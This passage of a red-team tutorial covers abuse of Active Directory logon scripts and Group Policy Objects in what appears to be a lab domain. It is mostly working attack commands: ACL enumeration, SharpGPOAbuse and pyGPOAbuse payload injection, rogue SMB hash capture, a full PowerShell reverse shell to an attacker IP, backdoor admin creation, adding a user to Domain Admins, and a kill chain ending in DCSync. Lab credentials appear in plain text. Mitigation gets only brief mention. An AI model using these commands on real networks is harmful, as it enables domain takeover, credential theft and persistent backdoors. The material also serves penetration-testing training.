Get-DomainGPO | ForEach-Object {
    $gpo = $_
    $acl = Get-DomainObjectAcl -Identity $gpo.distinguishedname -ResolveGUIDs
    $acl | Where-Object {
        $_.SecurityIdentifier -eq $HossamSID -and 
        $_.ActiveDirectoryRights -match "Write|GenericAll"
    } | Select-Object @{n='GPO';e={$gpo.displayname}}, ActiveDirectoryRights
}

Inject PowerShell Payload via GPO (SharpGPOAbuse)

1
2
3
4
5
PS C:\Tools> .\SharpGPOAbuse.exe --AddUserScript \
    --ScriptName logon.ps1 \
    --ScriptContents "powershell -ep bypass -w hidden -enc JABMAEgATwBTAFQA..." \
    --GPOName "Default Domain Policy" \
    --UserAccount eliot

Or from Linux using pyGPOAbuse:

1
2
3
4
5
6
7
8
root@root$ python3 pygpoabuse.py \
    -u hossam \
    -p 'HossamR3dT3am!' \
    -d inlanefreight.local \
    -dc-ip 10.129.229.224 \
    -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" \
    -powershell \
    -command "powershell -ep bypass -nop -w hidden -enc JABMAEgATwBTAFQA..."

GPO Logon Script Attack Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  ┌────────────────────────────────────────────────────────────────────┐
  │                   GPO LOGON SCRIPT ATTACK FLOW                     │
  ├────────────────────────────────────────────────────────────────────┤
  │                                                                    │
  │  hossam  ──► GenericWrite on GPO "HR-Users-Policy"                │
  │                │                                                   │
  │                ▼                                                   │
  │  Inject malicious logon.ps1 into GPO via SharpGPOAbuse             │
  │  Upload logon.ps1 to SYSVOL\{GPO-GUID}\User\Scripts\Logon\        │
  │                │                                                   │
  │                ▼                                                   │
  │  GPO is linked to OU=HR-Users → all HR user accounts affected      │
  │                │                                                   │
  │                ▼                                                   │
  │  Any user in OU logs on → logon.ps1 executes                      │
  │  → reverse shell back to hossam's listener                        │
  └────────────────────────────────────────────────────────────────────┘

Scenario D — ScriptSentry: Automated Misconfiguration Discovery

ScriptSentry automates discovery of misconfigurations in logon scripts, detecting:

CheckDescription
Unsafe UNC Folder PermissionsWorld-writable folders referenced by logon scripts
Unsafe UNC File PermissionsWritable script files on UNC paths
Unsafe Logon Script PermissionsScripts in SYSVOL writable by low-privilege users
Unsafe GPO Logon Script PermissionsGPO scripts with weak ACLs
Unsafe NETLOGON/SYSVOL PermissionsDomain Users can write to SYSVOL root
Plaintext CredentialsCredentials hardcoded in logon scripts
Nonexistent SharesScripts referencing shares that no longer exist (hijackable DNS)
Admin Logon ScriptsHigh-value accounts with logon scripts assigned
1
PS C:\Tools> .\Invoke-ScriptSentry.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
########## Unsafe logon script permissions ##########

Type                        File                                                       User                       Rights
----                        ----                                                       ----                       ------
UnsafeLogonScriptPermission \\inlanefreight.local\sysvol\...\scripts\logonScript.bat  INLANEFREIGHT\daniel       Modify, Synchronize


########## Plaintext credentials ##########

Type        File                              Credential
----        ----                              ----------
Credentials \\inlanefreight.local\...\scriptShare.cmd  net use h: \\DC03.inlanefreight.local\Shared\General /user:wayne Access2AllUsersSecure!


########## Admins with logonscripts ##########

Type              User                                       LogonScript
----              ----                                       -----------
AdminLogonScript  CN=adminuser,OU=Admins,DC=...              run.vbs

High-value finding: Any admin account with a logon script (AdminLogonScript) that references a writable file is a direct path to domain compromise.


Scenario E — Nonexistent Share Hijacking

ScriptSentry also detects logon scripts referencing shares on servers that no longer exist in DNS. If the attacker can register that DNS name (e.g., by adding a computer account or poisoning DNS), they can serve a malicious SMB share that the logon script connects to — capturing Net-NTLMv2 hashes or delivering a payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  ┌──────────────────────────────────────────────────────────────┐
  │           NONEXISTENT SHARE HIJACK FLOW                      │
  ├──────────────────────────────────────────────────────────────┤
  │                                                              │
  │  Logon script references: \\OLD-SERVER\Scripts\logon.bat    │
  │                                                              │
  │  OLD-SERVER no longer exists in DNS                          │
  │                                                              │
  │  Attacker adds DNS A record: OLD-SERVER → 10.10.14.55        │
  │  (via MachineAccountQuota or compromised DNS admin)          │
  │                                                              │
  │  Attacker starts Responder or impacket-smbserver             │
  │                                                              │
  │  Victim logs in → connects to attacker's share               │
  │  → Net-NTLMv2 hash captured → cracked offline               │
  │     OR relay to another service                              │
  └──────────────────────────────────────────────────────────────┘
1
2
3
4
5
# Set up rogue SMB server
root@root$ impacket-smbserver SCRIPTS /tmp/payload -smb2support

# Or use Responder to capture hashes
root@root$ responder -I eth0 -rdwv

Full Kill Chain: From scriptPath Write to Domain Admin

This is a real-world chained scenario combining scriptPath write, lateral movement, and privilege escalation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌─────────────────────────────────────────────────────────────────────────┐
│          FULL KILL CHAIN — scriptPath → Domain Admin                    │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  [Phase 1 — Initial Access]                                             │
│  hossam (low-priv user) is compromised via phishing                    │
│                │                                                        │
│                ▼                                                        │
│  [Phase 2 — Discovery]                                                  │
│  Enumerate ACEs → hossam has WriteProperty on eliot's scriptPath       │
│  Enumerate NETLOGON → hossam has RWX on EliotsScripts folder           │
│                │                                                        │
│                ▼                                                        │
│  [Phase 3 — Persistence Implant]                                        │
│  Drop reverse shell payload in NETLOGON\EliotsScripts\logon.bat        │
│  Update eliot's scriptPath → EliotsScripts\logon.bat                  │
│                │                                                        │
│                ▼                                                        │
│  [Phase 4 — Execution]                                                  │
│  eliot logs in → logon.bat executes → shell caught on nc listener      │
│                │                                                        │
│                ▼                                                        │
│  [Phase 5 — Privilege Escalation]                                       │
│  Enumerate eliot's rights → eliot has ForceChangePassword on Sam       │
│  Reset Sam's password → Sam is member of IT Admins                     │
│                │                                                        │
│                ▼                                                        │
│  [Phase 6 — Domain Compromise]                                          │
│  Use Sam's credentials → DCSync → dump all hashes → DA                 │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

Read scriptPath — The Passive Attack Vector

If hossam only has read rights on eliot’s scriptPath (default for all domain users), this is still valuable:

1
2
3
4
5
6
7
8
9
10
11
# Read eliot's scriptPath
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "DC=inlanefreight,DC=local" \
    "(sAMAccountName=eliot)" scriptPath

# Inspect permissions on the file it points to
# If scriptPath = "share\script.bat"  → check \\DC\NETLOGON\share\script.bat
root@root$ smbcacls //10.129.229.224/NETLOGON /share/script.bat \
    -U Hossam%'HossamR3dT3am!'

If the file is writable by hossam — you have full code execution on eliot’s next login without ever needing to modify scriptPath.


Read scriptPath — Credential Hunting

Logon scripts frequently contain plaintext credentials for mapping drives. Reading them can yield:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Bulk read all domain users' scriptPath values
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "DC=inlanefreight,DC=local" \
    "(objectClass=user)" scriptPath | grep scriptPath

# Download and grep for credentials
root@root$ smbclient //10.129.229.224/NETLOGON -U Hossam%'HossamR3dT3am!' \
    -c "ls scripts/"

root@root$ smbclient //10.129.229.224/NETLOGON -U Hossam%'HossamR3dT3am!' \
    -c "get scripts\scriptShare.cmd /tmp/scriptShare.cmd"

root@root$ grep -iE "password|passwd|pwd|/user:|net use" /tmp/scriptShare.cmd
1
net use h: \\DC03.inlanefreight.local\Shared\General /user:wayne Access2AllUsersSecure!

Summary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──────────────────────────────────────────────────────────────────────┐
│               LOGON SCRIPTS — RED TEAM QUICK REFERENCE               │
├──────────────────┬───────────────────────────────────────────────────┤
│  Attribute       │  scriptPath (GUID: bf9679a8-0de6-11d0-a285-...)   │
│  Required ACE    │  WriteProperty on Script-Path                     │
│  Also needed     │  Write access anywhere in NETLOGON share          │
│  Payload types   │  .bat, .vbs, .cmd, .exe (not .ps1 directly)       │
│  Execution       │  On next user logon, via userinit.exe             │
│  MITRE           │  T1037.003 (Network Logon Script)                 │
├──────────────────┼───────────────────────────────────────────────────┤
│  Linux tools     │  PywerView, dacledit, bloodyAD, ldapmodify,       │
│                  │  smbclient, smbcacls, Adalanche                   │
│  Windows tools   │  PowerView, ScriptSentry, SharpGPOAbuse, icacls  │
├──────────────────┼───────────────────────────────────────────────────┤
│  Detection       │  Event IDs: 4738, 5136, 5145, 4663, 4688          │
│  Mitigation      │  Audit scriptPath ACEs, restrict NETLOGON write,  │
│                  │  enable SACL auditing, run ScriptSentry           │
└──────────────────┴───────────────────────────────────────────────────┘

5. Group Policy Objects (GPO) Abuse

Group Policy Objects (GPOs) are one of the most powerful management features in Active Directory — and one of the most dangerous attack surfaces when misconfigured. A single misconfigured GPO right can give an attacker code execution as SYSTEM on every machine in an OU, the ability to add Domain Admins, disable security tools, or deploy ransomware domain-wide.

According to MITRE ATT&CK, GPO abuse has been used in production attacks by:

Threat ActorCampaign
Sandworm Team2022 Ukraine Electric Power Attack — deployed malware via GPO
APT41Used GPO-scheduled tasks to deploy ransomware
Cinnamon TempestUsed GPO batch scripts for ransomware deployment
HermeticWiperDeployed via Default Domain Policy from DC
Prestige RansomwareDeployed via Default Domain Group Policy
Qilin RansomwarePushed scheduled tasks via GPO for payload execution

This guide covers everything from the basics to advanced GPO exploitation techniques — creating new GPOs, editing existing ones, linking them to OUs, enumerating who can do it, and exploiting it all from both Linux and Windows.


MITRE ATT&CK Mapping

IDTechniqueTactic
T1484Domain or Tenant Policy ModificationDefense Evasion, Privilege Escalation
T1484.001Group Policy ModificationDefense Evasion, Privilege Escalation
T1053.005Scheduled Task — via GPO immediate taskPersistence, Execution
T1037.003Network Logon Script — via GPOPersistence
T1547.001Registry Run Keys / Startup Folder — via GPOPersistence
T1098Account Manipulation — add local admin via GPOPersistence
T1562.001Impair Defenses — disable AV/FW via GPODefense Evasion

GPO Architecture

Understanding GPO internals is essential before attacking them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
GPO Structure in Active Directory
═══════════════════════════════════════════════════════════════════════

  Active Directory (LDAP)
  ┌──────────────────────────────────────────────────────────────┐
  │  Group Policy Container (GPC)                                │
  │  CN={GUID},CN=Policies,CN=System,DC=inlanefreight,DC=local   │
  │                                                              │
  │  Key Attributes:                                             │
  │  ├─ displayName       → "Default Domain Policy"              │
  │  ├─ gPCFileSysPath    → \\DC01\SYSVOL\domain\Policies\{GUID} │
  │  ├─ versionNumber     → increments on each edit              │
  │  └─ gPCMachineExtensionNames / gPCUserExtensionNames         │
  └──────────────────────────────────────────────────────────────┘
           │
           │ Points to
           ▼
  SYSVOL File System
  ┌──────────────────────────────────────────────────────────────┐
  │  Group Policy Template (GPT)                                 │
  │  \\DC01\SYSVOL\inlanefreight.local\Policies\{GUID}\           │
  │  ├─ GPT.INI                  → version tracking              │
  │  ├─ Machine\                 → computer settings             │
  │  │   ├─ Microsoft\Windows NT\SecEdit\GptTmpl.inf             │
  │  │   │   → User rights, restricted groups, privileges        │
  │  │   └─ Preferences\ScheduledTasks\ScheduledTasks.xml        │
  │  │       → Immediate scheduled tasks (attack vector)         │
  │  └─ User\                    → user settings                 │
  │      └─ Scripts\             → logon/logoff scripts          │
  └──────────────────────────────────────────────────────────────┘
           │
           │ Linked to
           ▼
  OU / Domain / Site
  ┌──────────────────────────────────────────────────────────────┐
  │  gpLink attribute on the OU LDAP object:                     │
  │  [LDAP://CN={GUID},CN=Policies...;0]                         │
  │  → 0 = Enabled, 1 = Disabled, 2 = Enforced                  │
  └──────────────────────────────────────────────────────────────┘

Who Controls What

RightWhat it AllowsWhere Checked
CreateChild on CN=PoliciesCreate new GPOs in the domainLDAP ACL on Policies container
WriteProperty/GenericWrite on GPOEdit GPO settingsLDAP ACL on the GPC object
WriteDACL on GPOChange GPO permissionsLDAP ACL on the GPC object
Write on SYSVOL GPT folderModify GPO files directlyNTFS/SMB ACL on SYSVOL
WriteProperty on gpLink on OULink a GPO to an OULDAP ACL on the OU object
GenericAll on OUFull control, including linking GPOsLDAP ACL on the OU object

Scenario Setup

RoleUsernamePasswordDescription
AttackerhossamHossamR3dT3am!Compromised domain user
Victim AdmineliotEliotS3cur3!Has DA session on workstation
Domaininlanefreight.local 
DC IP10.129.229.224 
Attacker IP10.10.14.55Kali / Pwnbox

Phase 1 — Enumeration

1.1 Enumerate All GPOs (Windows — PowerView)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Import PowerView
PS C:\Users\hossam> Import-Module .\PowerView.ps1

# List all GPOs
PS C:\Users\hossam> Get-DomainGPO | select displayname, gpcfilesyspath, whenchanged

displayname                  gpcfilesyspath                                          whenchanged
-----------                  --------------                                          -----------
Default Domain Policy        \\inlanefreight.local\sysvol\...\{31B2F340-...}\        05/01/2024
Default Domain Controllers   \\inlanefreight.local\sysvol\...\{6AC1786C-...}\        05/01/2024
IT-Workstations-Policy       \\inlanefreight.local\sysvol\...\{A3B4C5D6-...}\        04/28/2024
HR-User-Settings             \\inlanefreight.local\sysvol\...\{F1E2D3C4-...}\        04/15/2024

# Map GPOs to the OUs they are linked to
PS C:\Users\hossam> Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GroupMembers

# Get all GPOs applied to a specific computer
PS C:\Users\hossam> Get-DomainGPO -ComputerIdentity WS01 -Properties displayname

# Get all GPOs applied to a specific user
PS C:\Users\hossam> Get-DomainGPO -UserIdentity eliot -Properties displayname

1.2 Enumerate All GPOs (Linux — ldapsearch)

1
2
3
4
5
6
7
# Enumerate all GPOs via LDAP
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "CN=Policies,CN=System,DC=inlanefreight,DC=local" \
    "(objectClass=groupPolicyContainer)" \
    displayName gPCFileSysPath whenChanged
1
2
3
4
5
6
7
8
9
dn: CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,...
displayName: Default Domain Policy
gPCFileSysPath: \\inlanefreight.local\sysvol\inlanefreight.local\Policies\{31B2...}
whenChanged: 20240501120000.0Z

dn: CN={A3B4C5D6-1234-5678-ABCD-EF0123456789},CN=Policies,...
displayName: IT-Workstations-Policy
gPCFileSysPath: \\inlanefreight.local\sysvol\inlanefreight.local\Policies\{A3B4...}
whenChanged: 20240428093000.0Z
1
2
3
4
5
6
7
8
9
10
11
12
# List all OUs with linked GPOs
PS C:\Users\hossam> Get-DomainOU | select name, gplink | Where-Object {$_.gplink}

name                gplink
----                ------
IT                  [LDAP://CN={A3B4C5D6-...},CN=Policies...;0]
HR                  [LDAP://CN={F1E2D3C4-...},CN=Policies...;0]
Workstations        [LDAP://CN={A3B4C5D6-...},CN=Policies...;0][LDAP://CN={31B2...};0]

# Full GPO → OU mapping
PS C:\Users\hossam> Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity WS01
PS C:\Users\hossam> Get-DomainGPOUserLocalGroupMapping -UserIdentity eliot
1
2
3
4
5
6
7
# Enumerate OUs and their gpLink attribute
root@root$ ldapsearch -LLL -H ldap://10.129.229.224 \
    -x -D 'hossam@inlanefreight.local' \
    -w 'HossamR3dT3am!' \
    -b "DC=inlanefreight,DC=local" \
    "(objectClass=organizationalUnit)" \
    ou gpLink distinguishedName

Phase 2 — Find Users Who Can Abuse GPOs

This is the most critical enumeration step. There are three distinct rights to hunt for:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌─────────────────────────────────────────────────────────────────────┐
│              GPO ABUSE RIGHTS — WHAT TO HUNT FOR                    │
├─────────────────────────┬───────────────────────────────────────────┤
│  RIGHT                  │  IMPACT                                   │
├─────────────────────────┼───────────────────────────────────────────┤
│  CreateChild on         │  Can create NEW GPOs                      │
│  CN=Policies container  │                                           │
├─────────────────────────┼───────────────────────────────────────────┤
│  GenericWrite /         │  Can EDIT existing GPO settings           │
│  WriteProperty on GPO   │                                           │
├─────────────────────────┼───────────────────────────────────────────┤
│  WriteDACL on GPO       │  Can grant themselves full control        │
│                         │  of a GPO → then edit it                  │
├─────────────────────────┼───────────────────────────────────────────┤
│  GenericAll on GPO      │  Full control → edit/delete/delegate      │
├─────────────────────────┼───────────────────────────────────────────┤
│  WriteProperty on       │  Can LINK a GPO to an OU                  │
│  gpLink on OU           │  (even without edit rights on the GPO)    │
├─────────────────────────┼───────────────────────────────────────────┤
│  GenericAll on OU       │  Full control of OU → link any GPO        │
├─────────────────────────┼───────────────────────────────────────────┤
│  Group Policy           │  By default can create AND link GPOs      │
│  Creator Owners group   │  in the domain (they own the GPO)         │
└─────────────────────────┴───────────────────────────────────────────┘

2.1 Find Users Who Can Create GPOs (Windows — PowerView)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Users in Group Policy Creator Owners (can create + own GPOs)
PS C:\Users\hossam> Get-DomainGroupMember -Identity "Group Policy Creator Owners" -Recurse

MemberName       : hossam
MemberDomain     : inlanefreight.local
MemberSID        : S-1-5-21-3456308105-2521031762-2678499478-1108


# Who has CreateChild rights on the Policies container?
PS C:\Users\hossam> $HossamSID = (Get-DomainUser -Identity hossam).objectSID
PS C:\Users\hossam> Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=inlanefreight,DC=local" `
    -ResolveGUIDs | Where-Object {
        $_.ActiveDirectoryRights -match "CreateChild" -and
        $_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-9|DA|EA|Administrators"
    }

2.2 Find Users Who Can Edit Existing GPOs (Windows — PowerView)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Get all GPO ACEs — filter for non-admin write permissions
PS C:\Users\hossam> $HossamSID = (Get-DomainUser -Identity hossam).objectSID

PS C:\Users\hossam> Get-DomainGPO | ForEach-Object {
    $gpo = $_
    $gpoACL = Get-DomainObjectAcl -Identity $gpo.distinguishedname -ResolveGUIDs
    $gpoACL | Where-Object {
        $_.SecurityIdentifier -eq $HossamSID -and
        $_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite|WriteDacl|WriteOwner"
    } | Select-Object @{n='GPOName';e={$gpo.displayname}},
                      @{n='GUID';e={$gpo.name}},
                      ActiveDirectoryRights,
                      SecurityIdentifier
}

GPOName                 GUID                                    ActiveDirectoryRights
-------                 ----                                    ---------------------
IT-Workstations-Policy  {A3B4C5D6-1234-5678-ABCD-EF0123456789} GenericWrite
HR-User-Settings        {F1E2D3C4-9876-FEDC-BA98-765432109876}  WriteProperty
1
2
# Shortcut — Get-DomainGPO with -GPOAdminSID (finds all GPOs hossam can edit)
PS C:\Users\hossam> Get-DomainGPO -GPOAdminSID $HossamSID | select displayname, name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Who has WriteProperty on gpLink on OUs?
PS C:\Users\hossam> Get-DomainOU | ForEach-Object {
    $ou = $_
    Get-DomainObjectAcl -Identity $ou.distinguishedname -ResolveGUIDs |
    Where-Object {
        $_.ObjectAceType -match "GP-Link" -and
        $_.ActiveDirectoryRights -match "Write" -and
        $_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-9"
    } | Select-Object @{n='OU';e={$ou.name}},
                      @{n='User';e={$_.SecurityIdentifier}},
                      ActiveDirectoryRights,
                      ObjectAceType
}

OU                User                                          ActiveDirectoryRights
--                ----                                          ---------------------
IT                S-1-5-21-3456308105-...-1108 (hossam)        WriteProperty

2.4 Enumerate GPO Rights from Linux (dacledit + PywerView)

1
2
3
4
5
6
7
8
9
10
11
12
# Find all users with write rights on any GPO using dacledit
root@root$ python3 examples/dacledit.py \
    -action read \
    -target-dn "CN=Policies,CN=System,DC=inlanefreight,DC=local" \
    -dc-ip 10.129.229.224 \
    inlanefreight.local/hossam:HossamR3dT3am!

# Or enumerate specific GPO ACEs
root@root$ python3 examples/dacledit.py \
    -target-dn "CN={A3B4C5D6-1234-5678-ABCD-EF0123456789},CN=Policies,CN=System,DC=inlanefreight,DC=local" \
    -dc-ip 10.129.229.224 \
    inlanefreight.local/hossam:HossamR3dT3am!

2.5 BloodHound — GPO Attack Paths

BloodHound is the fastest way to visualise GPO attack paths. Run SharpHound with GPOLocalGroup:

1
2
3
4
5
# Windows — collect with GPOLocalGroup
PS C:\Users\hossam> Invoke-BloodHound -CollectionMethod "All,GPOLocalGroup"

# Or run SharpHound directly
PS C:\Users\hossam> .\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\Temp\
1
2
3
4
5
6
7
# Linux — bloodhound-python
root@root$ pip3 install bloodhound
root@root$ bloodhound-python -u hossam -p 'HossamR3dT3am!' \
    -d inlanefreight.local \
    -dc 10.129.229.224 \
    -c All,GPOLocalGroup \
    --zip

Key BloodHound edges to look for:

BloodHound EdgeMeaning
GenericWrite → GPOCan edit GPO settings
WriteDACL → GPOCan grant yourself GenericAll on the GPO
GenericAll → GPOFull control
GenericWrite → OUCan modify OU including gpLink
Owns → GPOOwner has implicit full control
GPLinkShows which GPOs are linked to which OUs

BloodHound Cypher Query — Find all users with GPO write rights:

1
2
3
4
5
6
7
8
9
10
11
MATCH p=(u:User)-[r:GenericWrite|GenericAll|WriteDACL|Owns]->(g:GPO)
WHERE u.name <> "DOMAIN ADMINS@INLANEFREIGHT.LOCAL"
RETURN p

// Find users who can link GPOs to OUs
MATCH p=(u:User)-[r:GenericWrite|GenericAll]->(o:OU)
RETURN p

// Full attack path: user → GPO → OU → computers
MATCH p=(u:User)-[r1:GenericWrite]->(g:GPO)-[r2:GPLink]->(o:OU)<-[r3:Contains]-(c:Computer)
RETURN p

2.6 Group3r — Automated GPO Misconfiguration Finder

Group3r rapidly enumerates GPO misconfigurations across the domain.

1
2
3
4
5
6
7
8
# Run Group3r on a domain-joined machine
PS C:\Tools> .\Group3r.exe -s -f C:\Temp\group3r.log

# Show only high-severity findings
PS C:\Tools> .\Group3r.exe -s -a 4 -f C:\Temp\group3r.log

# Show only GPOs with findings
PS C:\Tools> .\Group3r.exe -s -w -f C:\Temp\group3r.log

Group3r checks for:

  • Scripts referencing writable shares
  • MSI packages in writable locations
  • Startup scripts with dangerous permissions
  • Credentials embedded in GPP (Group Policy Preferences)
  • Outdated software pushed via GPO
  • Morphed GPO files (replication artifacts with old credentials)

Phase 3 — Attack: Edit an Existing GPO

Condition: hossam has GenericWrite or WriteProperty on the IT-Workstations-Policy GPO, which is linked to the OU=IT,DC=inlanefreight,DC=local.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GPO ATTACK FLOW — EDIT EXISTING GPO
═══════════════════════════════════════════════════════════════════════

  hossam ──►  GenericWrite on GPO "IT-Workstations-Policy"
                    │
                    │  GPO is linked to OU=IT
                    │  OU=IT contains WS01, WS02, WS03
                    ▼
  [Inject malicious immediate scheduled task]
                    │
                    │  Next GP refresh (every 90 mins, or forced)
                    ▼
  WS01, WS02, WS03 all execute payload as NT AUTHORITY\SYSTEM
                    │
                    ▼
  Reverse shells / lateral movement / DA escalation

3.1 SharpGPOAbuse — Add Immediate Scheduled Task (Windows)

SharpGPOAbuse is a .NET C# tool that abuses GPO write rights.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Attack 1: Add an immediate computer task (runs as SYSTEM on all machines in the GPO scope)
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddComputerTask \
    --TaskName "WindowsUpdate" \
    --Author "INLANEFREIGHT\eliot" \
    --Command "cmd.exe" \
    --Arguments "/c powershell -ep bypass -w hidden -enc JABMAEgATwBTAFQAIAA9ACAAIgAxADAALgAxADAALgAxADQALgA1ADUAIg==" \
    --GPOName "IT-Workstations-Policy"

[+] Domain Controller: DC01.inlanefreight.local
[+] Domain: inlanefreight.local
[+] Distinguished Name: CN=IT-Workstations-Policy,...
[+] GUID: {A3B4C5D6-1234-5678-ABCD-EF0123456789}
[+] File path: \\inlanefreight.local\SysVol\...\ScheduledTasks.xml
[+] Done!


# Attack 2: Add an immediate USER task (runs as the user at logon)
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddUserTask \
    --TaskName "ProfileSync" \
    --Author "INLANEFREIGHT\eliot" \
    --Command "cmd.exe" \
    --Arguments "/c powershell -ep bypass -w hidden -enc JABMAEgATwBTAFQA..." \
    --GPOName "HR-User-Settings" \
    --TargetUserSID "S-1-5-21-3456308105-2521031762-2678499478-2104"


# Attack 3: Add a user to local Administrators group
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddLocalAdmin \
    --UserAccount hossam \
    --GPOName "IT-Workstations-Policy"

[+] Done! hossam will be added as a local admin on next GP refresh.


# Attack 4: Add a computer startup script
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddComputerScript \
    --ScriptName "update.bat" \
    --ScriptContents "powershell -ep bypass -w hidden -enc JABMAEgATwBT..." \
    --GPOName "IT-Workstations-Policy"


# Attack 5: Add a user logon script
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddUserScript \
    --ScriptName "logon.bat" \
    --ScriptContents "if %username%==eliot powershell -nop -w hidden -enc JABMAEg..." \
    --GPOName "HR-User-Settings"


# Attack 6: Add user rights (SeDebugPrivilege, SeBackupPrivilege, etc.)
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddUserRights \
    --UserRights "SeTakeOwnershipPrivilege,SeLoadDriverPrivilege" \
    --UserAccount hossam \
    --GPOName "IT-Workstations-Policy"


# Attack 7: Set SeEnableDelegationPrivilege (AD backdoor — gives full DA-equivalent access)
PS C:\Users\hossam> .\SharpGPOAbuse.exe --AddUserRights \
    --UserRights "SeEnableDelegationPrivilege" \
    --UserAccount hossam \
    --GPOName "Default Domain Controllers Policy"

SeEnableDelegationPrivilege is extremely powerful — it lets the holder configure unconstrained delegation on any user or computer, then coerce a DC to authenticate and capture its TGT. This is a subtle AD backdoor that gives complete domain control.

3.2 pyGPOAbuse — Edit GPO from Linux

pyGPOAbuse is the Linux equivalent of SharpGPOAbuse.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Install
root@root$ pip3 install pygpoabuse
# or
root@root$ git clone https://github.com/Hackndo/pyGPOAbuse
cd pyGPOAbuse && pip3 install -r requirements.txt

# Attack 1: Add local admin (default action — adds hossam to local admins)
root@root$ pygpoabuse inlanefreight.local/hossam:'HossamR3dT3am!' \
    -gpo-id "A3B4C5D6-1234-5678-ABCD-EF0123456789" \
    -dc-ip 10.129.229.224

[*] "IT-Workstations-Policy" {A3B4C5D6-1234-5678-ABCD-EF0123456789}
[+] ScheduledTasks.xml written!


# Attack 2: Execute a custom command as SYSTEM
root@root$ pygpoabuse inlanefreight.local/hossam:'HossamR3dT3am!' \
    -gpo-id "A3B4C5D6-1234-5678-ABCD-EF0123456789" \
    -command "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add" \
    -dc-ip 10.129.229.224


# Attack 3: Drop and execute a PowerShell reverse shell
root@root$ pygpoabuse inlanefreight.local/hossam:'HossamR3dT3am!' \
    -gpo-id "A3B4C5D6-1234-5678-ABCD-EF0123456789" \
    -powershell \
    -command "\$c=New-Object Net.Sockets.TCPClient('10.10.14.55',9001);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length))-ne 0){;\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$sb=(iex \$d 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$nb=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$nb,0,\$nb.Length)}" \
    -dc-ip 10.129.229.224
    

# Attack 4: Use a computer GPO (runs as SYSTEM at next GP refresh)
root@root$ pygpoabuse inlanefreight.local/hossam:'HossamR3dT3am!' \
    -gpo-id "A3B4C5D6-1234-5678-ABCD-EF0123456789" \
    -command "net user hossam /domain && net group 'Domain Admins' hossam /add /domain" \
    -computer-script \
    -dc-ip 10.129.229.224

Condition: hossam is a member of Group Policy Creator Owners (can create GPOs), AND has WriteProperty on gpLink on the OU=IT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CREATE + LINK ATTACK FLOW
═══════════════════════════════════════════════════════════════════════

  hossam ──►  Member of "Group Policy Creator Owners"
                    │
                    │  1. Create new GPO "Windows Update Service"
                    ▼
  New GPO exists in AD with hossam as OWNER
                    │
                    │  2. Edit the GPO (hossam owns it → full control)
                    │     Inject immediate scheduled task → SYSTEM shell
                    ▼
  GPO is configured with malicious payload
                    │
                    │  3. Link GPO to OU=IT (hossam has gpLink WriteProperty)
                    ▼
  All computers in OU=IT will execute payload on next GP refresh

4.1 Create a New GPO (Windows)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Check if GPMC module is installed
PS C:\Users\hossam> Get-Module -List -Name GroupPolicy

# Install GPMC if needed (requires elevation)
PS C:\Users\hossam> Install-WindowsFeature -Name GPMC

# Create a new GPO
PS C:\Users\hossam> New-GPO -Name "Windows Update Service" -Domain inlanefreight.local

DisplayName      : Windows Update Service
DomainName       : inlanefreight.local
Owner            : INLANEFREIGHT\hossam
GpoStatus        : AllSettingsEnabled
...


# Create and immediately link it to an OU (one-liner)
